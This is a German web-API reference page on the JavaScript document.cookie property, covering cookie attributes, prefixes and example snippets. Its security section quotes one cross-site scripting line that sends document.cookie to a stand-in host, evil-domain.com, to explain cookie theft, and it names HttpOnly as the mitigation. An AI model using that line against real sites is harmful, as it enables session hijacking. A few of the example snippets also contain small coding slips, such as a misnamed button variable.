Dokument: Cookie-Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2019.
Die Document
-Eigenschaft cookie
ermöglicht das Lesen und Schreiben von Cookies, die mit dem Dokument verknüpft sind. Sie dient als Getter und Setter für die tatsächlichen Werte der Cookies.
Wert
Ein String, der eine durch Semikolons getrennte Liste aller Cookies enthält (d.h. key=value
Paare). Beachten Sie, dass jedes key und value von Leerzeichen (Leertaste und Tabulatorzeichen) umgeben sein kann: Tatsächlich verlangt RFC 6265 ein einzelnes Leerzeichen nach jedem Semikolon, aber einige Benutzeragenten halten sich möglicherweise nicht daran.
Sie können dieser Eigenschaft auch einen String in der Form "key=value"
zuweisen, um das Cookie zu setzen bzw. zu aktualisieren. Beachten Sie, dass Sie mit dieser Methode nur ein Cookie nach dem anderen setzen bzw. aktualisieren können. Bedenken Sie auch, dass:
-
Jedes der folgenden Cookie-Attributwerte optional dem Schlüssel-Wert-Paar folgen kann, jeweils vorangestellt von einem Semikolon:
-
;domain=domain
(z. B.example.com
odersubdomain.example.com
): Der Host, an den das Cookie gesendet wird. Wenn nicht angegeben, wird standardmäßig der Hostanteil des aktuellen Dokumentstandorts verwendet, und das Cookie ist auf Unterdomänen nicht verfügbar. Wenn ein Domain angegeben ist, sind immer Unterdomänen eingeschlossen. Im Gegensatz zu früheren Spezifikationen werden führende Punkte in Domainnamen ignoriert, aber Browser können ablehnen, das Cookie mit solchen Punkten zu setzen.Hinweis: Die Domain muss mit der Domain des JavaScript-Ursprungs übereinstimmen. Das Setzen von Cookies auf fremde Domänen wird stillschweigend ignoriert.
-
;expires=date-in-UTCString-format
: Das Ablaufdatum des Cookies. Wenn wederexpires
nochmax-age
angegeben sind, läuft es am Ende der Sitzung ab.Warnung: Wenn der Datenschutz der Benutzer von Bedeutung ist, ist es wichtig, dass jede Webanwendung die Cookie-Daten nach einer bestimmten Zeitspanne ungültig macht, anstatt sich darauf zu verlassen, dass der Browser dies erledigt. Viele Browser erlauben es Benutzern, dass Cookies niemals ablaufen, was nicht unbedingt sicher ist.
Siehe
Date.toUTCString()
für Hilfe beim Formatieren dieses Wertes. -
;max-age=max-age-in-seconds
: Die maximale Lebensdauer des Cookies in Sekunden (z. B.60*60*24*365
oder 31536000 für ein Jahr). -
;partitioned
: Gibt an, dass das Cookie unter Verwendung eines partitionierten Speichers gespeichert werden soll. Siehe Cookies mit unabhängiger partitionierter Speicherung (CHIPS) für weitere Details. -
;path=path
: Der Wert desPath
-Attributs des Cookies (Siehe Definieren, wo Cookies gesendet werden für mehr Informationen). -
;samesite
: DasSameSite
-Attribut einesSet-Cookie
Headers kann von einem Server gesetzt werden, um festzulegen, wann das Cookie gesendet wird. Mögliche Werte sindlax
,strict
odernone
(siehe auch Kontrollieren von Drittanbieter-Cookies mitSameSite
).- Der Wert
lax
sendet das Cookie für alle same-site-Anfragen und GET-Anfragen bei top-level navigation. Dies reicht aus für das Benutzer-Tracking, verhindert aber viele Cross-Site Request Forgery (CSRF) Attacken. Dies ist der Standardwert in modernen Browsern. - Der Wert
strict
verhindert, dass das Cookie vom Browser an die Zielseite in allen Cross-Site-Browsing-Kontexten gesendet wird, selbst wenn einem normalen Link gefolgt wird. - Der Wert
none
gibt explizit an, dass keine Einschränkungen angewandt werden. Das Cookie wird in allen Anfragen gesendet—sowohl cross-site als auch same-site.
- Der Wert
-
;secure
: Gibt an, dass das Cookie nur über ein sicheres Protokoll übertragen werden soll.
-
-
Der Cookie-Wert-String kann
encodeURIComponent()
verwenden, um sicherzustellen, dass der String keine Kommas, Semikolons oder Leerzeichen enthält (die in Cookie-Werten nicht erlaubt sind). -
Einige Benutzeragenten unterstützen die folgenden Cookie-Präfixe:
__Secure-
Signalisiert dem Browser, dass das Cookie nur in Anfragen enthalten sein sollte, die über einen sicheren Kanal gesendet werden.__Host-
Signalisiert dem Browser, dass zusätzlich zur Einschränkung, das Cookie nur von einem sicheren Ursprung zu verwenden, der Umfang des Cookies auf ein vom Server übergebenes Pfadattribut beschränkt ist. Wenn der Server das Pfadattribut weglässt, wird das "Verzeichnis" der Anforderungs-URI verwendet. Es signalisiert auch, dass das Domain-Attribut nicht vorhanden sein darf, was verhindert, dass das Cookie an andere Domänen gesendet wird. Für Chrome muss das Pfadattribut immer der Ursprung sein.
Hinweis: Der Bindestrich wird als Teil des Präfixes betrachtet.
Hinweis: Diese Flags sind nur mit dem
secure
-Attribut einstellbar.
Hinweis:
Wie Sie aus dem obigen Code sehen können, ist document.cookie
eine accessor property mit nativen setter- und getter-Funktionen und ist folglich keine data property mit einem Wert: was Sie schreiben, ist nicht dasselbe wie das, was Sie lesen, alles wird immer vom JavaScript-Interpreter vermittelt.
Beispiele
Beispiel 1: Einfache Nutzung
<button id="show">Show cookies</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
output.textContent = `> ${document.cookie}`;
});
cleanBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 2: Ein Beispiel-Cookie namens test2 abrufen
<button id="show">Show cookie value</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
output.textContent = `> ${cookieValue}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 3: Etwas nur einmal tun
Um den folgenden Code zu verwenden, ersetzen Sie bitte alle Vorkommen des Wortes doSomethingOnlyOnce
(der Name des Cookies) durch einen eigenen Namen.
<button id="do-once">Only do something once</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
doOnceBtn.addEventListener("click", () => {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
output.textContent = "> Do something here!";
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 4: Das vorherige Cookie zurücksetzen
<button id="reset">Reset only once cookie</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const resetBtn = document.getElementById("reset");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
resetBtn.addEventListener("click", () => {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Reset!";
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 5: Überprüfen ob ein Cookie existiert
<button id="check">Check a cookie exists</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";
checkBtn.addEventListener("click", () => {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
output.textContent = '> The cookie "reader" exists';
} else {
output.textContent = '> The cookie "reader" does not exist';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Beispiel 6: Überprüfen ob ein Cookie einen bestimmten Wert hat
<button id="check">Check that a cookie has a specific value</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
checkBtn.addEventListener("click", () => {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
output.textContent = '> The cookie "reader" has a value of "1"';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
Sicherheit
Es ist wichtig zu beachten, dass das path
-Attribut nicht vor unbefugtem Lesen des Cookies von einem anderen Pfad schützt. Es kann leicht mit dem DOM umgangen werden, indem beispielsweise ein verborgenes <iframe>
-Element mit dem Pfad des Cookies erstellt wird, dann wird auf die contentDocument.cookie
-Eigenschaft dieses IFRAMES zugegriffen. Der einzige Weg, das Cookie zu schützen, besteht darin, einen anderen Domain oder Subdomain zu verwenden, aufgrund der Same-Origin-Policy.
Cookies werden häufig in Webanwendungen verwendet, um einen Benutzer und seine authentifizierte Sitzung zu identifizieren. Der Diebstahl eines Cookies von einer Webanwendung führt zur Übernahme der authentifizierten Benutzersitzung. Häufige Möglichkeiten, Cookies zu stehlen, umfassen den Einsatz von Social Engineering oder durch Ausnutzung einer Cross-Site-Scripting (XSS) Schwachstelle in der Anwendung -
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
Das HTTPOnly
-Cookie-Attribut kann helfen, diesen Angriff abzumildern, indem es den Zugriff auf den Cookie-Wert über JavaScript verhindert. Lesen Sie mehr über Cookies und Sicherheit.
Hinweise
- Beginnend mit Firefox 2 ist ein besserer Mechanismus für clientseitige Speicherung verfügbar - WHATWG DOM Storage.
- Sie können ein Cookie löschen, indem Sie seine Ablaufzeit auf null setzen.
- Beachten Sie, dass je mehr Cookies Sie haben, desto mehr Daten zwischen dem Server und dem Client für jede Anfrage übertragen werden. Dies wird jede Anfrage verlangsamen. Es wird sehr empfohlen, WHATWG DOM Storage zu verwenden, wenn Sie "nur für den Client" Daten speichern möchten.
- RFC 2965 (Abschnitt 5.3, "Implementierungslimits") legt fest, dass es keine maximale Länge eines Cookie-Schlüssel- oder Werts gibt, und ermutigt Implementierungen beliebig große Cookies zu unterstützen. Das Maximum jeder Browser-Implementierung wird notwendigerweise unterschiedlich sein, daher konsultieren Sie bitte die Dokumentation der einzelnen Browser.
Der Grund für die Asymmetrie zwischen Abrufen und Setzen der document.cookie
accessor property liegt in der Client-Server-Natur von Cookies, die sich von anderen Client-Client-Speichermethoden (wie z.B. localStorage) unterscheidet:
-
Der Server teilt dem Client mit, ein Cookie zu speichern:
httpHTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here]
-
Der Client sendet seine zuvor gespeicherten Cookies an den Server zurück:
httpGET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
Spezifikationen
Specification |
---|
HTML # dom-document-cookie |